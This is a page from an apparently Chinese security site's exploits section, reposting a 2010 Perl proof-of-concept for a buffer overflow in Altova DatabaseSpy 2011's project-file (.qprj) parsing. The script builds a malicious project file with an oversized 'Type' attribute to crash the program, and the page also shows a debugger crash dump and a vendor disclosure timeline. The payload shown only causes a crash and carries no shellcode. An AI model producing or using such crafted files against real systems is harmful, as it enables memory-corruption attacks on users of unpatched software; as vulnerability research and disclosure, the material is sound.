首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Altova DatabaseSpy 2011 Project File Handling Buffer Overflow Vulnerability
来源:http://www.altova.com 作者:LiquidWorm 发布时间:2010-10-25  

#!/usr/bin/perl
#
#
# Title: Altova DatabaseSpy 2011 Project File Handling Buffer Overflow Vulnerability
#
#
# Vendor: Altova GmbH
# Product web page: http://www.altova.com
# Affected version: Enterprise Edition 2011
#
#
# Summary: Altova DatabaseSpy® 2011 is the unique multi-database query, design,
# and database comparison tool. It connects to all major databases, easing SQL
# editing, database structure design, database content editing, database schema
# and content comparison, and database conversion for a fraction of the cost of
# single-database solutions.
#
#
# Desc: The Altova DatabaseSpy 2011 Enterprise Edition suffers from a buffer
# overflow/memory corruption vulnerability when handling project files (.qprj).
# The issue is triggered because there is no boundry checking of some XML tag
# property values, ex: <Folder FolderName="SQL" Type="AAAAAAA..../>" (~1000 bytes).
# This can aid the attacker to execute arbitrary machine code in the context of an
# affected node (locally and remotely) via file crafting or computer-based social
# engineering.
#
#
# Tested on: Microsoft Windows XP Professional SP3 (English)
#
#
#----------------------------------------------------------------------------------#
#
#   (342c.37c0): Access violation - code c0000005 (first chance)
#   First chance exceptions are reported before any exception handling.
#   This exception may be expected and handled.
#   eax=04430041 ebx=0203ff98 ecx=0443deda edx=56413f2e esi=0022dd98 edi=00000016
#   eip=00420b83 esp=0022dc00 ebp=00000017 iopl=0         nv up ei pl nz na po nc
#   cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
#   *** ERROR: Symbol file could not be found.  Defaulted to export symbols for
#   DatabaseSpy.exe - DatabaseSpy+0x20b83:
#   00420b83 663b02          cmp     ax,word ptr [edx]        ds:0023:56413f2e=????
#
#----------------------------------------------------------------------------------#
#
#
# Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
#                              liquidworm gmail com
#                              Zero Science Lab - http://www.zeroscience.mk
#
#
# Vendor status: [17.10.2010] Vulnerability discovered.
#                [17.10.2010] Initial contact with the vendor with sent PoC files.
#                [21.10.2010] No reply from vendor.
#                [22.10.2010] Public advisory released.
#
#
# Advisory ID: ZSL-2010-4971
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4971.php
# Advisory TXT: http://www.zeroscience.mk/codes/dbspy_bof.txt
#
#
# 17.10.2010
#

use strict;
system cls;


sub header()
{
 print "
  @=---===---===---===---===---===---===---===---=@
  |      |
  | Proof Of Concept PERL script for |
  |      |
  |  Altova DatabaseSpy 2011 (Enteprise Edition)  |
  |      |
  |      |
  |      |
  |      |
  |         ---   |
  |      |
  |  Copyleft (c) 2010  |
  |      |
  |  Zero Science Lab - http://www.zeroscience.mk |
  |      |
  @=---===---===---===---===---===---===---===---=@
 \n\n";
}

my $FILENAME = "DEATH_FROM_ABOVE.qprj"; #DatabaseSpy Project File

my $PAYLOAD = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". #48
               "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
              "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
               "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
              "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
               "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
              "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
               "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
              "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
               "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
              "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
               "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
              "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
               "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
              "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
               "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
              "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
               "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
              "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
               "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
              "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; #1008B

               #21

my $PROJECT = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\xA<!-".
       "-  DatabaseSpy Project File  -->\xA<Project Vers".
       "ion=\"2\" Expanded=\"Yes\" Type=\"Root\" Title=".
       "\"test\">\xA\x9<Folder FolderName=\"Data Sources".
       "\" Type=\"DataSourceFolder\"/>\xA\x9<Folder Fol".
       "derName=\"SQL\" Type=\"SQLRootFolder\" database".
       "_kind=\"Unknown\" datasource=\"Offline\" descrip".
       "tion=\"Store and organize SQL files for this pro".
       "ject.\" blockingstrategy=\"semi\"/>\xA\x9<Folder".
       " FolderName=\"Design\" Type=\"$PAYLOAD\" databas".
       "e_kind=\"Unknown\" datasource=\"Offline\" descri".
       "ption=\"I LOVE VERONICA CORNINGSTONE.\"/>\xA\x9<".
       "Folder FolderName=\"Data Diff\" Type=\"DataDiffR".
       "ootFolder\"/>\xA\x9<Folder FolderName=\"Schema D".
       "iff\" Type=\"Schema DiffRootFolder\"/>\xA\x9<Fol".
       "der FolderName=\"Favorites\" Type=\"FavoriteFold".
       "er\"/>\xA</Project>\xA";

sub code()
{
       system ("color 3"); #~!@#$%^&*()_+|<>?:"{}=-`';/.,0
       open qprj, ">./$FILENAME" || die "\nCan't open #$_@
       $FILENAME: $!"; print "\n (1) "; system("pause"); #
       print qprj $PROJECT; print "\n (2) Buffering mali".
       "cious format file . . .\r\n"; sleep 2; close qprj;
       print "\n (3) File $FILENAME created successfully".
       "!\n"; sleep 2; system ("color \x44"); sleep 1; #.%
       print "\n (4) And the color is changed.\n";
}

print "\n";
header();
code();

#EOF


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sawmill Enterprise < v8.1.7.3
·Spider Player 2.4.5 Denial of
·Windows Mobile 6.1 and 6.5 Dou
·GNU C library dynamic linker L
·Adobe Shockwave player rcsL ch
·RarmaRadio v2.52 (.m3u) Denial
·LibSMI smiGetNode Buffer Overf
·AnyDVD <= 6.7.1.0 Denial Of Se
·MS10-070 ASP.NET Auto-Decrypto
·HP Data Protector Media Operat
·Winamp 5.5.8 (in_mod plugin) S
·Jamb CSRF Arbitrary Add a Post
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved